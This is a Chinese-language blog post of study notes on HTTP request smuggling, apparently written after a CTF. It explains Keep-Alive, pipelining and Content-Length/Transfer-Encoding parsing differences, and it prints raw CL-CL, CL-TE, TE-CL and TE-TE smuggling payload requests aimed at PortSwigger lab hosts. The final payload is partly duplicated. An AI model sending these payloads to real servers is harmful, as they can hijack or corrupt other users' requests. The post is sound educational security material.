HTTP走私攻击

记HTTP走私攻击——协议层的攻击:

记录这种攻击方式主要是因为打了一次Hgame2021年的CTF比赛,然后发现自己是个菜鸡的事实。

学习主要是来自于这篇博客:https://paper.seebug.org/1048/

这位师傅的博客全是干货,记得非常详尽。

还有这一篇博客:https://www.cnblogs.com/PixelOrange/p/13445275.html

大佬对走私攻击的解析非常到位。

HTTP走私攻击是如何实现的:

1、HTTP走私攻击实现的根本原因是服务器对于不同的RFC的对应的实现方式不同,对于同一个HTTP请求,服务器的实现方式可能会有极大的差别,从中就会产生安全隐患。

关于RFC是什么,我参考了这篇博客:https://www.cnblogs.com/x_wukong/p/5287397.html,以及百度百科。

就我个人理解,就有点类似于互联网早期的时候,对于HTML语言没有一个统一的规定,于是不同的浏览器在解析同一份HTML文档的时候就会解析出不同的可视化界面一样。

2、还有一个,为了提升用户的浏览速度,提高使用体验,减轻服务器的负担,很多网站都用了CDN加速服务,最简单的加速服务,就是在源站的前面加上一个具有缓存功能的反向代理服务器,用户在请求某些静态资源时,直接从代理服务器中就可以获取到,不用再从源站所在服务器获取。

也就是说对于一些特别的请求,就会直接从反向代理服务器来获取了。

HTTP1.1协议中的两个特性:

1、Keep-Alive:所谓Keep-Alive,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1中是默认开启的。

2、Pipeline:依照Pipeline特性,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。

现如今,浏览器默认是不启用Pipeline的,但是一般的服务器都提供了对Pipleline的支持。

这两个特性代表了HTTP1.0版协议和HTTP1.1版协议中的一些不同,主要体现在TCP/IP协议上面。

在过去使用HTTP请求的时候会经历三次的TCP的握手,然后才能发出HTTP请求,以获得资源。

三次分别是:客户端——>服务器,服务器——>客户端,客户端——>服务器。
在经过三次TCP握手之后,才是相当于建立起来了一次TCP的链接。

在过去的HTTP1.0版本中为了减轻服务器的负担,这种链接都是在发送完了请求,并且收到服务器响应之后就直接断开了。

但是在1.1版本里面,因为有了以上的两个特性(当然,是要在消息头里面有相应的设定),就相当于是在客户端发出请求,并收到了服务器的响应之后,不会立刻断开TCP链接,而是等待客户端提出下一个HTTP请求,最后再按照顺序以此做出响应。

问题所在:

之前提到过,反向代理服务器是用来提高用户浏览体验的。做个类比的话,就是恐龙身上的次级大脑一样。就是用来处理一些比较简单的HTTP请求的。如果说客户端里面提出了一些比较特殊,反向代理服务器里面处理不了的时候,就会把这个请求的信息传递给后面的服务器,也就相当于是次级大脑把消息传递给了主大脑。

套在计算机里面来说,就是反向代理器与后端的源站服务器之间会重(chong)用TCP链接,因为这两种的服务器的IP地址都是相对固定的,而用户的请求信息则是难以揣测的。

关键点

因为两种服务器实现功能的方法是不同的,如果说用户提交了一个模糊的HTTP请求,就可能会导致反向代理服务器(次级大脑)认为这是一个正常的HTTP请求,然后将这个请求原封不动地发到了源站服务器(主大脑)里面,然后源站处理这段信息之后,会只认为其中的一部分是正常的请求,剩下的那一部分会被解析为另外的东西,并执行。这也就是黑客想要走私进去的“东西”。

实现方式:

在HTTP规范中,提供了两种不同的方式来指定请求的结束的位置,分别是Content-Length消息头,以及Transfer-Encoding消息头。

这两个消息头在一般的HTTP请求中是这样的两个作用:

1、Content-Length:这个消息头用于规定消息主体的字节长度(HEAD语法的响应例外,它在对应的GET请求的响应中用于指出主体的长度)。

2、Transfer-Encoding:这个消息头指定为方便其通过HTTP传输而对消息主体使用的任何编码。如果使用这个消息头,通常用它来指定块编码。

简而言之,就是Content-Length通过规定消息内容体的长度来指示请求的结束位置。

而Transfer-Encoding中,消息报文由一个或是多个数据块组成,每个数据块大小以字节为单位(用十六进制表示)衡量,后跟换行符,然后是块内容。常见的值有chunked,compress,deflate,gzip等,其中chunk表示消息体使用分块编码(Chunked Encode),也就是整个请求会分块发送,由多个消息组成,整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束,因此带来了一种新的判断结尾的方式。直到整个消息体大小为零,就判断结束,也就是说解析遇到了0数据块就结束。

这个规范也带来了Content-Length以及Transfer-Encoding这两个Header,虽然协议明确说明以Transfer-Encoding为准,但是仍然存在很多服务器没有完全遵守规范,从而导致不同的服务器对结尾的判断不同,也就导致了这种漏洞。

常见的几种走私攻击方式:

1、CL不为0的GET请求:

其实在这里,影响到的并不仅仅是GET请求,所有不携带请求体的HTTP请求都有可能受此影响,只因为GET比较典型,我们把它作为一个例子。

RFC2616中,没有对GET请求像POST请求那样携带请求体做出规定,在最新的RFC7231的4.3.1节中也仅仅提了一句。

https://tools.ietf.org/html/rfc7231#section-4.3.1

sending a payload body on a GET request might cause some existing implementations to reject the request

假设前端代理服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。

比如我们构造请求

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

前端服务器收到该请求,通过读取Content-Length,判断这是一个完整的请求,然后转发给后端服务器,而后端服务器收到后,因为它不对Content-Length进行处理,由于Pipeline的存在,它就认为这是收到了两个请求,分别是

第一个
GET / HTTP/1.1\r\n
Host: example.com\r\n

第二个
GET / secret HTTP/1.1\r\n
Host: example.com\r\n

这就导致了请求走私。

2、CL-CL:

RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。

https://tools.ietf.org/html/rfc7230#section-3.3.3

但是总有服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理。

此时恶意攻击者可以构造一个特殊的请求

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

中间代理服务器获取到的数据包的长度为8,将上述整个数据包原封不动的转发给后端的源站服务器,而后端服务器获取到的数据包长度为7。当读取完前7个字符后,后端服务器认为已经读取完毕,然后生成对应的响应,发送出去。而此时的缓冲区去还剩余一个字母a,对于后端服务器来说,这个a是下一个请求的一部分,但是还没有传输完毕。此时恰巧有一个其他的正常用户对服务器进行了请求,假设请求如图所示。

GET /index.html HTTP/1.1\r\n
Host: example.com\r\n

从前面我们也知道了,代理服务器与源站服务器之间一般会重用TCP连接。

这时候正常用户的请求就拼接到了字母a的后面,当后端服务器接收完毕后,它实际处理的请求其实是

aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n

这时候用户就会收到一个类似于aGET request method not found的报错。这样就实现了一次HTTP走私攻击,而且还对正常用户的行为造成了影响,而且后续可以扩展成类似于CSRF的攻击方式。

但是两个Content-Length这种请求包还是太过于理想化了,一般的服务器都不会接受这种存在两个请求头的请求包。但是在RFC2616的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length,这其实也就意味着请求包中同时包含这两个请求头并不算违规,服务器也不需要返回400错误。服务器在这里的实现更容易出问题。

3、CL-TE:

所谓CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length这一请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding这一请求头。

chunk传输数据格式如下,其中size的值由16进制表示。

[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]

Lab 地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

构造数据包

POST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G

连续发送几次请求就可以获得该响应。

image-20191009002040605

由于前端服务器处理Content-Length,所以这个请求对于它来说是一个完整的请求,请求体的长度为6,也就是

0\r\n
\r\n
G

当请求包经过代理服务器转发给后端服务器时,后端服务器处理Transfer-Encoding,当它读取到0\r\n\r\n时,认为已经读取到结尾了,但是剩下的字母G就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求。

GPOST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
......

服务器在解析时当然会产生报错了。

4、TE-CL:

所谓TE-CL,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头。

Lab地址:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

构造数据包

POST / HTTP/1.1\r\n
Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

image-20191009095101287

由于前端服务器处理Transfer-Encoding,当其读取到0\r\n\r\n时,认为是读取完毕了,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length请求头,当它读取完12\r\n之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了,也就是

GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

成功报错。

5、TE-TE:

TE-TE,也很容易理解,当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,这确实是实现了RFC的标准。不过前后端服务器毕竟不是同一种,这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头。从某种意义上还是CL-TE或者TE-CL

Lab地址:https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header

构造数据包

POST / HTTP/1.1\r\n
Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n


![image-20191009111046828](https://img-blog.csdnimg.cn/img_convert/ca25f995bc09adf06136c6b580832a87.png)
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值